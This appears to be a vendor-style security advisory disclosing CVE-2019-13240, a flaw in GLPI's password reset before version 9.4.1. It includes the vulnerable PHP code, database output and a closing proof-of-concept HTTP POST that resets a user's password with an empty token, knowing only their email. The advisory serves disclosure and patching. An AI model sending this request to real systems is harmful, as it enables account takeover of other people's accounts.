SYNACKTIV
DIGITAL SECURITY

Unsafe password reset in GLPI < 9.4.1

Security advisory

2019-07-04

Julien Legras

Vulnerability description

Presentation of *GLPI*

"GLPI is an incredible ITSM software tool that helps you plan and manage IT changes in an easy way, solve problems efficiently when they emerge and allow you to gain legit control over your company's IT budget, and expenses."[1]

The issue

Synacktiv discovered that the password reset feature is not safe. Indeed, after a successful password reset by a user, it is possible to change again his password during 24 hours without any knowledge except his email address.

Affected versions

All versions 9.x < 9.4.1, are known to be affected.

Timeline

Date	Action
2019-02-25	Advisory sent to *GLPI Project* (glpi-security@ow2.org)
2019-04-12	GLPI team merged a patch.
2019-04-15	GLPI team released the 9.4.1 version with the patch.
2019-07-04	CVE-2019-13240 reserved.

1 https://glpi-project.org/

Technical description and proof-of-concept

When a user asks for a password reset, a token is generated and stored in the database with the date:

```
public function forgetPassword($email) {
[…]
$input = [
   'password_forget_token'      => sha1(Toolbox::getRandomString(30)),
   'password_forget_token_date' => $_SESSION["glpi_currenttime"],
   'id'                         => $this->fields['id'],
];
$this->update($input);
```

The token is then valid for 24 hours before being invalidated. The check is performed in the function *updateForgottenPassword*:

```
public function updateForgottenPassword(array $input) {
[...]
if (($input['password_forget_token'] == $this->fields['password_forget_token'])
    && (abs(strtotime($_SESSION["glpi_currenttime"])
            -strtotime($this->fields['password_forget_token_date'])) < DAY_TIMESTAMP)) {

   $input['id'] = $this->fields['id'];
   Config::validatePassword($input["password"], false); // Throws exception if password is
invalid
   if (!$this->update($input)) {
      return false;
   }
   $input2 = [
      'password_forget_token'      => '',
      'password_forget_token_date' => null,
      'id'                         => $this->fields['id']
   ];
   $this->update($input2);
   return true;
[...]
```

As can be seen, after the password update, the token and the date are reset. But in fact, only the token is reset but the date is still in the database:

```
MariaDB [glpi]> select id,password_forget_token,password_forget_token_date from glpi_users;
+----+--------------------------------------+---------------------------+
| id | password_forget_token                | password_forget_token_date |
+----+--------------------------------------+---------------------------+
[...]
|  5 |72eeb8be4913d588b97cb14e12144f298882c0a3| 2019-02-22 16:04:18       |
+----+--------------------------------------+---------------------------+
[…]

MariaDB [glpi]> select id,password_forget_token,password_forget_token_date from glpi_users;
+----+----------------------+---------------------------+
| id | password_forget_token | password_forget_token_date |
+----+----------------------+---------------------------+
[...]
|  5 |                      | 2019-02-22 16:04:18       |
+----+----------------------+---------------------------+
```

This means that the condition to update the password can be true if the token is empty and the password can be updated such as:

```
POST /front/lostpassword.php HTTP/1.1
[…]
email=test
%40test.com&password=aaa&password2=aaa&password_forget_token=&update=Save&_glpi_csrf_token=
64335fa587833cf85ae80e1cc92e03c3

HTTP/1.1 200 OK
[…]
<div class='center'>Reset password successful.<br>
[…]
```